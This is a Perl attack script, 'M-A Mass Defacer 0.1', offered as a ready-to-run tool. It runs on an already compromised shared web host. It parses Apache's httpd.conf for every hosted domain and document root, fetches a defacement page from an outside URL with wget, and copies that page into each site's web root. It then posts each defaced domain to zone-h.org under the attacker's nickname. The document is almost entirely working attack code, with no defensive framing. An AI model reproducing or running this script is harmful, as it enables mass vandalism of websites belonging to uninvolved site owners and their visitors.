M-A Mass Defacer 0.1

#!/usr/bin/perl
# M-A Mass Defacer 0.1
# by : b0y h4ck3r
# gr33tz : Mr_Anarshi-T & FOXY
# H0m3 : WwW.SeC4EvEr.CoM
# perl main.pl zone to submite sites to zone-h.org
# http://www.youtube.com/watch?v=M9449bs9XNM
use IO::Socket::INET;
## general configuration
my %gconf = (
    "defacer"           => "defacer", # Your Zone-H.org nickname
    "indexpath"         => "http://www.g00l3.c0m/r00t.html", # Your index path
    "indexname"         => "r00t.php", # please leave the extension php :D
    );
############
print "\n[+] M-A Mass Defacer 0.1\n";
sleep 0.2;
## httpd.conf paths ##
if (-e "/usr/local/apache/conf/httpd.conf")
{
$httpdconf = "/usr/local/apache/conf/httpd.conf";
}
elsif (-e "/etc/httpd/conf/httpd.conf")
{
$httpdconf = "/etc/httpd/conf/httpd.conf";
}
elsif (-e "/usr/local/etc/apache22/httpd.conf")
{
$httpdconf = "/usr/local/etc/apache22/httpd.conf";
}
######## start grapping domains
print "[+] Grapping Hosted Domains Using Method 1\n";
system("grep \"^    ServerName\" $httpdconf | sed \"s/    ServerName//g\" | sed \"s/ //g\" >> domains.txt");
if (-e "domains.txt")
{
print "[+] D0ne Grapping Hosted Domains\n";
}
else
{
print "[-] Can't Grap Hosted Domains Using Method 1\n";
sleep 0.2;
exit();
}
# End grapping domains saved to domains.txt
# Getting index :
system("wget $gconf{'indexpath'} -O $gconf{'indexname'} && cp $gconf{'indexname'} /tmp/$gconf{'indexname'}");
# Mass Attack Started
# Method 1
## getting paths
system("grep \"^    DocumentRoot\" $httpdconf | sed \"s/    DocumentRoot //g\" >> paths.txt");
open (paths, "<paths.txt") || die "[-] Can't Find paths.txt !";
## open paths.txt and start mass attacking
my @paths = <paths>;
close paths;
foreach $path (@paths)
{
chomp $path;
system("cp /tmp/$gconf{'indexname'} $path");
}
if ($ARGV[0] =~ "zone" )
{
# posting to zone-h
print "[+] Submitting To Zone-h.Org\n";
$domain_list = "domains.txt";
## sorting domains.txt
open (site, "<domains.txt") || die "[-] Can't open the List of site file !";
@domains = <site>;
close site;
foreach  $hacked (@domains) {
chomp $hacked;
$url = $hacked."/".$gconf{'indexname'};
open(ma,">>defeaced.txt");
print ma "$url\n";
close(ma);
}
##
$defacer = "$gconf{'defacer'}";
$defeaced = "defeaced.txt";
chomp $defeaced;
open(a,"<$defeaced");
@site = <a>;
close(a);
$b = scalar(@site);
for($a=0;$a<=$b;$a++)
{
chomp $site[$a];
$sock = IO::Socket::INET->new(PeerAddr => "www.zone-h.org", PeerPort => 80, Proto => "tcp") or next;
print $sock "POST /notify/single HTTP/1.0\r\n";
print $sock "Accept: */*\r\n";
print $sock "Referer: http://www.zone-h.org/notify/single\r\n";
print $sock "Accept-Language: en-us\r\n";
print $sock "Content-Type: application/x-www-form-urlencoded\r\n";
print $sock "Connection: Keep-Alive\r\n";
print $sock "User-Agent:  Mozilla/5.0 (Windows NT 6.1; rv:23.0) Gecko/20100101 Firefox/23.0)\r\n";
print $sock "Host: www.zone-h.org\r\n";
$length=length("defacer=$defacer&domain1=http%3A%2F% 2F$site[$a]&hackmode=17&reason=1");
print $sock "Content-Length: $length\r\n";
print $sock "Pragma: no-cache\r\n";
print $sock "\r\n";
print $sock "defacer=$defacer&domain1=http%3A%2F%2F$site[$a]&hackmode=17&reason=1\r\n";
close($sock);
}
print "[+] D0ne :)";
}